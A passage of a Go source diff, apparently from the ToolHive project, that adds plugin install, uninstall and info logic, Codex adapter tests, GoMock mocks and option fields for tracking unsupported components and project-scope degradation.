os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "user marketplace.json must not be created for project scope") + + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "proj-plugin", Scope: plugins.ScopeProject, ProjectRoot: projectRoot})) +} + +func TestCodexAdapter_DematerializeIdempotent(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + // Dematerializing something never installed is not an error, and does not + // create a marketplace.json. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "ghost", Scope: plugins.ScopeUser})) + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "ghost", Scope: plugins.ScopeUser})) + + _, err := os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "no marketplace.json should be created by dematerialize") +} + +func TestCodexAdapter_ScopeSupport(t *testing.T) { + t.Parallel() + a := &CodexAdapter{} + ss := a.ScopeSupport() + assert.False(t, ss.DegradesOnProjectScope) + assert.Empty(t, ss.Reason) +} + +// TestCodexAdapter_MarketplaceSurvivesWhenOtherPluginRemains installs two +// plugins, removes one, and asserts the marketplace.json survives; removing the +// second deletes it. +func TestCodexAdapter_MarketplaceSurvivesWhenOtherPluginRemains(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + require.NoError(t, materializeCodex(a, "alpha", layer)) + require.NoError(t, materializeCodex(a, "beta", layer)) + + // Remove alpha: marketplace.json survives because beta remains. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "alpha", Scope: plugins.ScopeUser})) + mp := readCodexMarketplaceFileAt(t, codexUserMarketplaceFile(tempHome)) + findCodexPlugin(t, mp, "beta") + for _, p := range mp.Plugins { + assert.NotEqual(t, "alpha", p.Name, "alpha removed from marketplace") + } + + // Remove beta: marketplace.json is deleted (no plugins left). + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + _, err := os.Stat(codexUserMarketplaceFile(tempHome)) + assert.True(t, os.IsNotExist(err), "marketplace.json should be deleted when no plugins remain") +} + +// TestCodexAdapter_NonLifoUninstallKeepsMarketplaceValid installs alpha then +// beta, dematerializes beta (non-LIFO), and asserts alpha remains registered +// with its relative source and alpha's dir is intact. +func TestCodexAdapter_NonLifoUninstallKeepsMarketplaceValid(t *testing.T) { + t.Parallel() + tempHome := t.TempDir() + cm := newTestClientManager(t, tempHome) + a := NewCodexAdapter(cm) + + layer := makePluginLayer(t, []ociskills.FileEntry{ + {Path: "skills/x/SKILL.md", Content: []byte("x"), Mode: 0644}, + }) + + require.NoError(t, materializeCodex(a, "alpha", layer)) + require.NoError(t, materializeCodex(a, "beta", layer)) + + alphaDir := codexPluginDir(tempHome, "alpha") + betaDir := codexPluginDir(tempHome, "beta") + require.DirExists(t, alphaDir) + require.DirExists(t, betaDir) + + // Non-LIFO: beta was installed second but removed first. + require.NoError(t, a.Dematerialize(context.Background(), plugins.DematerializeRequest{Name: "beta", Scope: plugins.ScopeUser})) + + mp := readCodexMarketplaceFileAt(t, codexUserMarketplaceFile(tempHome)) + alpha := findCodexPlugin(t, mp, "alpha") + assert.Equal(t, "./toolhive/alpha", alpha.Source.Path) + for _, p := range mp.Plugins { + assert.NotEqual(t, "beta", p.Name, "beta removed from marketplace") + } + + // alpha's dir survives; beta's is gone. + assert.DirExists(t, alphaDir, "alpha directory still present") + assert.NoDirExists(t, betaDir, "beta directory removed") +} + +// materializeCodex is a small helper to install a named user-scope plugin. +func materializeCodex(a *CodexAdapter, name string, layer []byte) error { + _, err := a.Materialize(context.Background(), plugins.MaterializeRequest{ + Name: name, + LayerData: layer, + Scope: plugins.ScopeUser, + Components: plugins.ComponentInventory{"skills": 1}, + }) + return err +} diff --git a/pkg/plugins/adapters/helpers.go b/pkg/plugins/adapters/helpers.go new file mode 100644 index 0000000000..6c750b0fbc --- /dev/null +++ b/pkg/plugins/adapters/helpers.go @@ -0,0 +1,45 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package adapters + +import ( + "path/filepath" + + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills" +) + +// droppedComponents returns the component types declared in the inventory that +// are not present in the supported set. +func droppedComponents(inv plugins.ComponentInventory, supported []plugins.ComponentType) []plugins.ComponentType { + if inv == nil { + return nil + } + set := make(map[plugins.ComponentType]struct{}, len(supported)) + for _, ct := range supported { + set[ct] = struct{}{} + } + var out []plugins.ComponentType + for key := range inv { + ct := plugins.ComponentType(key) + if _, ok := set[ct]; !ok { + out = append(out, ct) + } + } + return out +} + +// cleanupAfterRemove walks up from dir's parent removing empty directories, +// stopping at the project root (project scope) or home dir (user scope). +// homeDir is taken as a parameter (not os.UserHomeDir) so tests can inject a +// temp home without touching the host filesystem. +func cleanupAfterRemove(dir string, scope plugins.Scope, projectRoot, homeDir string) { + stopAt := projectRoot + if scope == plugins.ScopeUser { + stopAt = homeDir + } + if stopAt != "" { + skills.RemoveEmptyParents(filepath.Dir(dir), stopAt) + } +} diff --git a/pkg/plugins/mocks/mock_adapter.go b/pkg/plugins/mocks/mock_adapter.go new file mode 100644 index 0000000000..3a201e74a4 --- /dev/null +++ b/pkg/plugins/mocks/mock_adapter.go @@ -0,0 +1,99 @@ +// Code generated by MockGen. DO NOT EDIT. +// Source: adapter.go +// +// Generated by this command: +// +// mockgen -destination=mocks/mock_adapter.go -package=mocks -source=adapter.go MaterializationAdapter +// + +// Package mocks is a generated GoMock package. +package mocks + +import ( + context "context" + reflect "reflect" + + plugins "github.com/stacklok/toolhive/pkg/plugins" + gomock "go.uber.org/mock/gomock" +) + +// MockMaterializationAdapter is a mock of MaterializationAdapter interface. +type MockMaterializationAdapter struct { + ctrl *gomock.Controller + recorder *MockMaterializationAdapterMockRecorder + isgomock struct{} +} + +// MockMaterializationAdapterMockRecorder is the mock recorder for MockMaterializationAdapter. +type MockMaterializationAdapterMockRecorder struct { + mock *MockMaterializationAdapter +} + +// NewMockMaterializationAdapter creates a new mock instance. +func NewMockMaterializationAdapter(ctrl *gomock.Controller) *MockMaterializationAdapter { + mock := &MockMaterializationAdapter{ctrl: ctrl} + mock.recorder = &MockMaterializationAdapterMockRecorder{mock} + return mock +} + +// EXPECT returns an object that allows the caller to indicate expected use. +func (m *MockMaterializationAdapter) EXPECT() *MockMaterializationAdapterMockRecorder { + return m.recorder +} + +// Dematerialize mocks base method. +func (m *MockMaterializationAdapter) Dematerialize(ctx context.Context, req plugins.DematerializeRequest) error { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Dematerialize", ctx, req) + ret0, _ := ret[0].(error) + return ret0 +} + +// Dematerialize indicates an expected call of Dematerialize. +func (mr *MockMaterializationAdapterMockRecorder) Dematerialize(ctx, req any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Dematerialize", reflect.TypeOf((*MockMaterializationAdapter)(nil).Dematerialize), ctx, req) +} + +// Materialize mocks base method. +func (m *MockMaterializationAdapter) Materialize(ctx context.Context, req plugins.MaterializeRequest) (*plugins.MaterializeResult, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Materialize", ctx, req) + ret0, _ := ret[0].(*plugins.MaterializeResult) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Materialize indicates an expected call of Materialize. +func (mr *MockMaterializationAdapterMockRecorder) Materialize(ctx, req any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Materialize", reflect.TypeOf((*MockMaterializationAdapter)(nil).Materialize), ctx, req) +} + +// ScopeSupport mocks base method. +func (m *MockMaterializationAdapter) ScopeSupport() plugins.ScopeSupport { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "ScopeSupport") + ret0, _ := ret[0].(plugins.ScopeSupport) + return ret0 +} + +// ScopeSupport indicates an expected call of ScopeSupport. +func (mr *MockMaterializationAdapterMockRecorder) ScopeSupport() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "ScopeSupport", reflect.TypeOf((*MockMaterializationAdapter)(nil).ScopeSupport)) +} + +// SupportedComponents mocks base method. +func (m *MockMaterializationAdapter) SupportedComponents() []plugins.ComponentType { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "SupportedComponents") + ret0, _ := ret[0].([]plugins.ComponentType) + return ret0 +} + +// SupportedComponents indicates an expected call of SupportedComponents. +func (mr *MockMaterializationAdapterMockRecorder) SupportedComponents() *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "SupportedComponents", reflect.TypeOf((*MockMaterializationAdapter)(nil).SupportedComponents)) +} diff --git a/pkg/plugins/mocks/mock_service.go b/pkg/plugins/mocks/mock_service.go index 7e7a06da54..dd13d2414c 100644 --- a/pkg/plugins/mocks/mock_service.go +++ b/pkg/plugins/mocks/mock_service.go @@ -85,6 +85,51 @@ func (mr *MockPluginServiceMockRecorder) GetContent(ctx, opts any) *gomock.Call return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "GetContent", reflect.TypeOf((*MockPluginService)(nil).GetContent), ctx, opts) } +// Info mocks base method. +func (m *MockPluginService) Info(ctx context.Context, opts plugins.InfoOptions) (*plugins.PluginInfo, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Info", ctx, opts) + ret0, _ := ret[0].(*plugins.PluginInfo) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Info indicates an expected call of Info. +func (mr *MockPluginServiceMockRecorder) Info(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Info", reflect.TypeOf((*MockPluginService)(nil).Info), ctx, opts) +} + +// Install mocks base method. +func (m *MockPluginService) Install(ctx context.Context, opts plugins.InstallOptions) (*plugins.InstallResult, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Install", ctx, opts) + ret0, _ := ret[0].(*plugins.InstallResult) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// Install indicates an expected call of Install. +func (mr *MockPluginServiceMockRecorder) Install(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Install", reflect.TypeOf((*MockPluginService)(nil).Install), ctx, opts) +} + +// List mocks base method. +func (m *MockPluginService) List(ctx context.Context, opts plugins.ListOptions) ([]plugins.InstalledPlugin, error) { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "List", ctx, opts) + ret0, _ := ret[0].([]plugins.InstalledPlugin) + ret1, _ := ret[1].(error) + return ret0, ret1 +} + +// List indicates an expected call of List. +func (mr *MockPluginServiceMockRecorder) List(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "List", reflect.TypeOf((*MockPluginService)(nil).List), ctx, opts) +} + // ListBuilds mocks base method. func (m *MockPluginService) ListBuilds(ctx context.Context) ([]plugins.LocalBuild, error) { m.ctrl.T.Helper() @@ -114,6 +159,20 @@ func (mr *MockPluginServiceMockRecorder) Push(ctx, opts any) *gomock.Call { return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Push", reflect.TypeOf((*MockPluginService)(nil).Push), ctx, opts) } +// Uninstall mocks base method. +func (m *MockPluginService) Uninstall(ctx context.Context, opts plugins.UninstallOptions) error { + m.ctrl.T.Helper() + ret := m.ctrl.Call(m, "Uninstall", ctx, opts) + ret0, _ := ret[0].(error) + return ret0 +} + +// Uninstall indicates an expected call of Uninstall. +func (mr *MockPluginServiceMockRecorder) Uninstall(ctx, opts any) *gomock.Call { + mr.mock.ctrl.T.Helper() + return mr.mock.ctrl.RecordCallWithMethodType(mr.mock, "Uninstall", reflect.TypeOf((*MockPluginService)(nil).Uninstall), ctx, opts) +} + // Validate mocks base method. func (m *MockPluginService) Validate(ctx context.Context, path string) (*plugins.ValidationResult, error) { m.ctrl.T.Helper() diff --git a/pkg/plugins/options.go b/pkg/plugins/options.go index 01eb3e052e..c02270a7f4 100644 --- a/pkg/plugins/options.go +++ b/pkg/plugins/options.go @@ -33,6 +33,17 @@ type InstallOptions struct { Reference string `json:"-"` // Digest is the OCI digest for upgrade detection. Digest string `json:"-"` + // Components is the plugin's component inventory, hydrated from the OCI + // artifact config by install-from-OCI/git flows. Internal use only. + Components ComponentInventory `json:"-"` + // Dependencies is the plugin's external dependency list, hydrated from the + // OCI artifact config. Internal use only. + Dependencies []Dependency `json:"-"` + // Tag is the OCI tag, hydrated from the resolved reference. Internal use only. + Tag string `json:"-"` + // Description is the plugin description, hydrated from the OCI artifact + // config or git manifest. Internal use only. + Description string `json:"-"` } // InstallResult contains the outcome of an Install operation. @@ -55,6 +66,19 @@ type PluginInfo struct { Metadata PluginMetadata `json:"metadata"` // InstalledPlugin contains the full installation record. InstalledPlugin *InstalledPlugin `json:"installed_plugin,omitempty"` + // UnmaterializedComponents lists, per client type, the component types the + // plugin declares that the installed client adapter does NOT load. Populated + // by Info by diffing InstalledPlugin.Components against each installed + // client adapter's SupportedComponents. + UnmaterializedComponents map[string][]ComponentType `json:"unmaterialized_components,omitempty"` + // ProjectScopeDegradedClients lists the client types for which a + // project-scoped install degraded (the adapter could only materialize at + // user scope — e.g. Codex always writes to the user-scoped config.toml). + // Populated by Info; empty for user-scoped installs. Recomputed at read + // time from the stored scope + each adapter's capability, mirroring the + // UnmaterializedComponents pattern (no persistence needed — the degradation + // is deterministic from scope + client type). + ProjectScopeDegradedClients []string `json:"project_scope_degraded_clients,omitempty"` } // ContentOptions configures the behavior of the GetContent operation. Alias diff --git a/pkg/plugins/parser.go b/pkg/plugins/parser.go index 86fcd166a5..34dc08a6ee 100644 --- a/pkg/plugins/parser.go +++ b/pkg/plugins/parser.go @@ -126,6 +126,14 @@ func ParsePluginManifest(pluginDir string) (*PluginManifest, error) { return parseManifestBytes(content) } +// ParsePluginManifestFromBytes parses manifest bytes into a PluginManifest, +// applying the same strictness checks as ParsePluginManifest. Split out for +// callers (e.g. the git install flow) that already hold the manifest bytes +// rather than a directory on disk. +func ParsePluginManifestFromBytes(content []byte) (*PluginManifest, error) { + return parseManifestBytes(content) +} + // parseManifestBytes parses manifest bytes into a PluginManifest, applying the // strictness checks. Split from ParsePluginManifest for testability. func parseManifestBytes(content []byte) (*PluginManifest, error) { diff --git a/pkg/plugins/pluginsvc/info.go b/pkg/plugins/pluginsvc/info.go new file mode 100644 index 0000000000..2c8241bc7e --- /dev/null +++ b/pkg/plugins/pluginsvc/info.go @@ -0,0 +1,95 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "net/http" + "slices" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/plugins" +) + +// Info returns detailed information about an installed plugin, including the +// per-client set of component types the plugin declares that the installed +// client adapter does NOT load (UnmaterializedComponents). +func (s *service) Info(ctx context.Context, opts plugins.InfoOptions) (*plugins.PluginInfo, error) { + if err := plugins.ValidatePluginName(opts.Name); err != nil { + return nil, httperr.WithCode(err, http.StatusBadRequest) + } + + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return nil, err + } + scope = defaultScope(scope) + + stored, err := s.store.Get(ctx, opts.Name, scope, projectRoot) + if err != nil { + return nil, err + } + + degraded := s.computeProjectScopeDegraded(stored) + return &plugins.PluginInfo{ + Metadata: stored.Metadata, + InstalledPlugin: &stored, + UnmaterializedComponents: s.computeUnmaterialized(stored), + ProjectScopeDegradedClients: degraded, + }, nil +} + +// computeProjectScopeDegraded returns the client types for which a +// project-scoped install degraded. A client degrades iff the install is +// project-scoped AND its adapter reports ScopeSupport.DegradesOnProjectScope. +// Empty for user-scoped installs. Recomputed at read time (deterministic from +// scope + adapter capability); no persistence needed. +func (s *service) computeProjectScopeDegraded(p plugins.InstalledPlugin) []string { + if p.Scope != plugins.ScopeProject { + return nil + } + var degraded []string + for _, ct := range p.Clients { + adapter, ok := s.materializers[ct] + if !ok { + continue + } + if adapter.ScopeSupport().DegradesOnProjectScope { + degraded = append(degraded, ct) + } + } + return degraded +} + +// computeUnmaterialized diffs the plugin's declared Components against each +// installed client adapter's SupportedComponents. For each client, the result +// lists component types the plugin declares that the adapter does NOT load. +func (s *service) computeUnmaterialized(p plugins.InstalledPlugin) map[string][]plugins.ComponentType { + if len(p.Components) == 0 || len(s.materializers) == 0 { + return nil + } + out := make(map[string][]plugins.ComponentType, len(p.Clients)) + for _, ct := range p.Clients { + adapter, ok := s.materializers[ct] + if !ok { + continue + } + supported := adapter.SupportedComponents() + var dropped []plugins.ComponentType + for componentType := range p.Components { + ct := plugins.ComponentType(componentType) + if !slices.Contains(supported, ct) { + dropped = append(dropped, ct) + } + } + if len(dropped) > 0 { + slices.Sort(dropped) + out[ct] = dropped + } + } + if len(out) == 0 { + return nil + } + return out +} diff --git a/pkg/plugins/pluginsvc/info_test.go b/pkg/plugins/pluginsvc/info_test.go new file mode 100644 index 0000000000..eca142a391 --- /dev/null +++ b/pkg/plugins/pluginsvc/info_test.go @@ -0,0 +1,236 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "errors" + "net/http" + "testing" + + "github.com/stretchr/testify/assert" + "github.com/stretchr/testify/require" + "go.uber.org/mock/gomock" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + groupmocks "github.com/stacklok/toolhive/pkg/groups/mocks" + "github.com/stacklok/toolhive/pkg/plugins" + plugmocks "github.com/stacklok/toolhive/pkg/plugins/mocks" + "github.com/stacklok/toolhive/pkg/storage" + storemocks "github.com/stacklok/toolhive/pkg/storage/mocks" +) + +func TestInfo(t *testing.T) { + t.Parallel() + + t.Run("returns metadata and unmaterialized components", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + Components: plugins.ComponentInventory{"commands": 2, "agents": 1, "skills": 3}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(stored, nil) + // claude-code supports commands+agents but not skills → skills dropped. + adapter.EXPECT().SupportedComponents().Return([]plugins.ComponentType{ + plugins.ComponentCommands, plugins.ComponentAgents, + }) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin"}) + require.NoError(t, err) + assert.Equal(t, "my-plugin", info.Metadata.Name) + require.NotNil(t, info.InstalledPlugin) + require.Contains(t, info.UnmaterializedComponents, "claude-code") + assert.Equal(t, []plugins.ComponentType{plugins.ComponentSkills}, info.UnmaterializedComponents["claude-code"]) + }) + + t.Run("no unmaterialized when adapter supports all", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + adapter := plugmocks.NewMockMaterializationAdapter(ctrl) + + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Clients: []string{"claude-code"}, + Components: plugins.ComponentInventory{"commands": 1}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(stored, nil) + adapter.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentCommands}) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": adapter})) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin"}) + require.NoError(t, err) + assert.Nil(t, info.UnmaterializedComponents) + }) + + t.Run("not found returns error", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().Get(gomock.Any(), "missing", plugins.ScopeUser, "").Return(plugins.InstalledPlugin{}, storage.ErrNotFound) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"claude-code": plugmocks.NewMockMaterializationAdapter(ctrl)})) + _, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "missing"}) + require.Error(t, err) + assert.ErrorIs(t, err, storage.ErrNotFound) + }) + + t.Run("invalid name returns bad request", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + svc := newTestService(WithStore(store)) + _, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "A"}) + require.Error(t, err) + assert.Equal(t, http.StatusBadRequest, httperr.Code(err)) + }) + + t.Run("project-scope degradation surfaced for degrading client", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + // codex degrades on project scope; claude-code does not. + codex := plugmocks.NewMockMaterializationAdapter(ctrl) + claude := plugmocks.NewMockMaterializationAdapter(ctrl) + + projectRoot := makeProjectRoot(t) + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Scope: plugins.ScopeProject, + Clients: []string{"codex", "claude-code"}, + Components: plugins.ComponentInventory{"skills": 1}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeProject, projectRoot).Return(stored, nil) + // SupportedComponents is called for the UnmaterializedComponents diff. + codex.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentSkills}) + claude.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentSkills}) + codex.EXPECT().ScopeSupport().Return(plugins.ScopeSupport{DegradesOnProjectScope: true}) + claude.EXPECT().ScopeSupport().Return(plugins.ScopeSupport{}) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{ + "codex": codex, + "claude-code": claude, + })) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin", Scope: plugins.ScopeProject, ProjectRoot: projectRoot}) + require.NoError(t, err) + // Only codex degrades. + assert.Equal(t, []string{"codex"}, info.ProjectScopeDegradedClients) + }) + + t.Run("user-scope install has no degraded clients", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + codex := plugmocks.NewMockMaterializationAdapter(ctrl) + + stored := plugins.InstalledPlugin{ + Metadata: plugins.PluginMetadata{Name: "my-plugin"}, + Scope: plugins.ScopeUser, + Clients: []string{"codex"}, + Components: plugins.ComponentInventory{"skills": 1}, + } + store.EXPECT().Get(gomock.Any(), "my-plugin", plugins.ScopeUser, "").Return(stored, nil) + codex.EXPECT().SupportedComponents().Return([]plugins.ComponentType{plugins.ComponentSkills}) + + svc := newTestService(WithStore(store), + WithMaterializers(map[string]plugins.MaterializationAdapter{"codex": codex})) + info, err := svc.Info(t.Context(), plugins.InfoOptions{Name: "my-plugin"}) + require.NoError(t, err) + assert.Empty(t, info.ProjectScopeDegradedClients) + }) +} + +func TestList(t *testing.T) { + t.Parallel() + + t.Run("group filter uses group.Plugins", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + gm := groupmocks.NewMockManager(ctrl) + gm.EXPECT().Get(gomock.Any(), "mygroup").Return(&groups.Group{ + Name: "mygroup", + Plugins: []string{"in-group"}, + }, nil) + + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "in-group"}}, + {Metadata: plugins.PluginMetadata{Name: "out-group"}}, + }, nil) + + svc := newTestService(WithStore(store), WithGroupManager(gm)) + listed, err := svc.List(t.Context(), plugins.ListOptions{Group: "mygroup"}) + require.NoError(t, err) + require.Len(t, listed, 1) + assert.Equal(t, "in-group", listed[0].Metadata.Name) + }) + + t.Run("no group filter returns all", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "a"}}, + {Metadata: plugins.PluginMetadata{Name: "b"}}, + }, nil) + + svc := newTestService(WithStore(store)) + listed, err := svc.List(t.Context(), plugins.ListOptions{}) + require.NoError(t, err) + assert.Len(t, listed, 2) + }) + + t.Run("group filter with nil group manager returns 500", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + // No WithGroupManager — group manager is nil. + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "a"}}, + }, nil) + + svc := newTestService(WithStore(store)) + _, err := svc.List(t.Context(), plugins.ListOptions{Group: "mygroup"}) + require.Error(t, err) + assert.Equal(t, http.StatusInternalServerError, httperr.Code(err)) + }) + + t.Run("store List error propagates", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + store.EXPECT().List(gomock.Any(), gomock.Any()).Return(nil, errors.New("db down")) + + svc := newTestService(WithStore(store)) + _, err := svc.List(t.Context(), plugins.ListOptions{}) + require.Error(t, err) + assert.Contains(t, err.Error(), "db down") + }) + + t.Run("group manager Get error propagates", func(t *testing.T) { + t.Parallel() + ctrl := gomock.NewController(t) + store := storemocks.NewMockPluginStore(ctrl) + gm := groupmocks.NewMockManager(ctrl) + store.EXPECT().List(gomock.Any(), gomock.Any()).Return([]plugins.InstalledPlugin{ + {Metadata: plugins.PluginMetadata{Name: "a"}}, + }, nil) + gm.EXPECT().Get(gomock.Any(), "mygroup").Return(nil, errors.New("etcd unavailable")) + + svc := newTestService(WithStore(store), WithGroupManager(gm)) + _, err := svc.List(t.Context(), plugins.ListOptions{Group: "mygroup"}) + require.Error(t, err) + assert.Contains(t, err.Error(), "getting group") + }) +} diff --git a/pkg/plugins/pluginsvc/install.go b/pkg/plugins/pluginsvc/install.go new file mode 100644 index 0000000000..122707c91e --- /dev/null +++ b/pkg/plugins/pluginsvc/install.go @@ -0,0 +1,188 @@ +// SPDX-FileCopyrightText: Copyright 2025 Stacklok, Inc. +// SPDX-License-Identifier: Apache-2.0 + +package pluginsvc + +import ( + "context" + "fmt" + "log/slog" + "net/http" + "strings" + + "github.com/stacklok/toolhive-core/httperr" + "github.com/stacklok/toolhive/pkg/groups" + "github.com/stacklok/toolhive/pkg/plugins" + "github.com/stacklok/toolhive/pkg/skills/gitresolver" +) + +// Install installs a plugin. When the Name field contains a git reference +// (git://...), the repo is cloned and the plugin tree is built in memory. When +// it contains an OCI reference, the artifact is pulled and extracted. A plain +// name is resolved against the local OCI store, then the registry lookup. +// Mirror of skillsvc.Install, substituting the plugin install backends. +func (s *service) Install(ctx context.Context, opts plugins.InstallOptions) (*plugins.InstallResult, error) { + scope, projectRoot, err := normalizeProjectRoot(opts.Scope, opts.ProjectRoot) + if err != nil { + return nil, err + } + scope = defaultScope(scope) + opts.ProjectRoot = projectRoot + + // Git references are dispatched first; the prefix is unambiguous and + // cannot collide with OCI references. + if gitresolver.IsGitReference(opts.Name) { + result, err := s.installFromGit(ctx, opts, scope) + if err != nil { + return nil, err + } + return s.installAndRegister(ctx, result, opts.Group, result.Plugin.Metadata.Name, scope, opts.ProjectRoot) + } + + // Splice opts.Version as the tag for tag-less OCI-like references. + if opts.Version != "" && + strings.ContainsRune(opts.Name, '/') && + !strings.ContainsAny(opts.Name, ":@") { + opts.Name = opts.Name + ":" + opts.Version + } + + ref, isOCI, err := parseOCIReference(opts.Name) + if err != nil { + return nil, httperr.WithCode( + fmt.Errorf("invalid OCI reference %q: %w", opts.Name, err), + http.StatusBadRequest, + ) + } + if isOCI { + result, ociErr := s.installFromOCI(ctx, opts, scope, ref) + if ociErr == nil { + return s.installAndRegister(ctx, result, opts.Group, result.Plugin.Metadata.Name, scope, opts.ProjectRoot) + } + // No registry-name fallback yet (Phase-3 later wave); surface the + // OCI pull error directly. + return nil, ociErr + } + + // Plain plugin name. + if err := plugins.ValidatePluginName(opts.Name); err != nil { + return nil, httperr.WithCode(err, http.StatusBadRequest) + } + + return s.installByName(ctx, opts, scope) +} + +// installByName handles installation for a validated plain plugin name. It +// checks the local OCI store, then the registry lookup, before returning an +// error. Mirror of skillsvc.installByName. +func (s *service) installByName( + ctx context.Context, + opts plugins.InstallOptions, + scope plugins.Scope, +) (*plugins.InstallResult, error) { + unlock := s.locks.lock(opts.Name, scope, opts.ProjectRoot) + locked := true + defer func() { + if locked { + unlock() + } + }() + + if len(opts.LayerData) == 0 { + resolved := false + if s.ociStore != nil { + var resolveErr error + resolved, resolveErr = s.resolveFromLocalStore(ctx, &opts) + if resolveErr != nil { + return nil, resolveErr + } + } + if !resolved { + // Release the lock before registry lookup — installFromOCI + // acquires its own lock on the plugin name, which could be the + // same key, causing deadlock since sync.Mutex is not re-entrant. + unlock() + locked = false + return s.installFromRegistryLookup(ctx, opts, scope) + } + } + + result, err := s.installWithExtraction(ctx, opts, scope) + if err != nil { + return nil, err + 